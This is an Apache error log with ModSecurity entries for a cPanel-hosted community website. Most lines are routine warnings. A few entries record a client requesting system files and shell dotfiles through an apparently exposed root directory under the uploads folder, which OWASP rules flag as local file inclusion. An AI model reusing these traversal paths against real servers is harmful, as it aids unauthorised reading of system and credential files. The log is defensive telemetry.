[Fri Jul 17 08:05:58.865360 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:59.142604 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:59.326788 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:59.350708 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:44130] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:59.456201 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/firmware/nvidia/ga103/sec2/sig.bin"] [unique_id "almVD6UJv0yl2bIgVrkJHQAAABU"]
[Fri Jul 17 08:05:59.456240 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/firmware/nvidia/ga103/sec2/sig.bin"] [unique_id "almVD6UJv0yl2bIgVrkJHQAAABU"]
[Fri Jul 17 08:05:59.594833 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:59.684926 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:59.872542 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:59.963786 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:00.332786 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:00.421832 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:00.608106 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:00.696765 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS0/irq
[Fri Jul 17 08:06:00.789314 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:00.858226 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVEN0t9Kb_MdNxrg66QAAAAAM"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:06:00.858259 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVEN0t9Kb_MdNxrg66QAAAAAM"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:06:00.883766 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:00.974120 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:01.065685 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:01.155939 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:01.247494 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:01.312231 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:54476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:01.338371 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:01.800966 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:01.952241 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:54494] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:02.077431 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:02.252257 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:02.999297 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:03.550296 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:05.688597 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:05.869287 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:06.341095 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:54770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:06.689401 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:06.781431 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:06.871961 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:07.157248 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:07.241312 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:07.518289 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:07.958501 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:54860] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:08.059153 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:08.329974 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:08.421705 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:08.562480 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:08.615767 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:08.923203 2026] [security2:error] [pid 1993571:tid 1993571] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVGOnUgtv5ujFYWh_rXAAAAA0"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:06:08.923264 2026] [security2:error] [pid 1993571:tid 1993571] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVGOnUgtv5ujFYWh_rXAAAAA0"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:06:09.222348 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:09.290234 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/ttyS1/irq
[Fri Jul 17 08:06:09.596374 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:09.613455 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:09.795083 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:09.886283 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:09.985599 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:10.086352 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:10.117391 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:54994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:10.167109 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:10.258976 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:10.350992 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:10.532390 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:10.929904 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:11.140199 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:11.149497 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:11.515308 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:11.609399 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:11.788596 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.091353 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932081 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932214 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932411 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932439 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932464 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932498 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932524 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932548 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932572 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932595 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932647 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932670 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932693 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932716 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932924 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932953 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.932988 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933012 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933084 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933114 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933152 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933194 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933218 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933241 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933264 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933287 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933310 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933333 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933356 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933378 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933401 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933424 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933446 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933468 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933491 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933525 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933558 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933581 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933622 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933665 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933707 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933731 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933754 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933776 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933799 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933822 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933867 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933903 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.933948 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934176 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934226 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934249 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934292 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934315 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934338 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934360 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934392 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934416 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934439 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934480 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934504 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934527 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934551 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934574 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934597 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934620 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934643 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:12.934667 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:13.641600 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: Warning. Matched phrase ".profile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .profile found within REQUEST_FILENAME: /uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.profile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.profile"] [unique_id "almVHUhq6UAnqYko0LpSkAAAABE"]
[Fri Jul 17 08:06:13.641922 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.profile"] [unique_id "almVHUhq6UAnqYko0LpSkAAAABE"]
[Fri Jul 17 08:06:13.642495 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.profile"] [unique_id "almVHUhq6UAnqYko0LpSkAAAABE"]
[Fri Jul 17 08:06:13.812010 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:13.900372 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:13.939172 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/ai-bolit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/ai-bolit/' is executable
[Fri Jul 17 08:06:14.823210 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:15.031650 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:15.102835 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:15.282019 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: Warning. Matched phrase ".bash_logout" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bash_logout found within REQUEST_FILENAME: /uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_logout"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_logout"] [unique_id "almVH7yEqmgiTSUa55oDiQAAABA"]
[Fri Jul 17 08:06:15.282530 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_logout"] [unique_id "almVH7yEqmgiTSUa55oDiQAAABA"]
[Fri Jul 17 08:06:15.283461 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_logout"] [unique_id "almVH7yEqmgiTSUa55oDiQAAABA"]
[Fri Jul 17 08:06:15.467377 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:15.566731 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:15.628804 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:55950] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:15.987099 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:16.011813 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:16.045293 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:16.240954 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:16.988458 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.115760 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.187270 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:55988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:17.401203 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.404203 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.404605 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.412644 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.419301 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.508944 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.535442 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.537025 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:17.549687 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:56032] AH02013: coalesce failed to read from data bucket
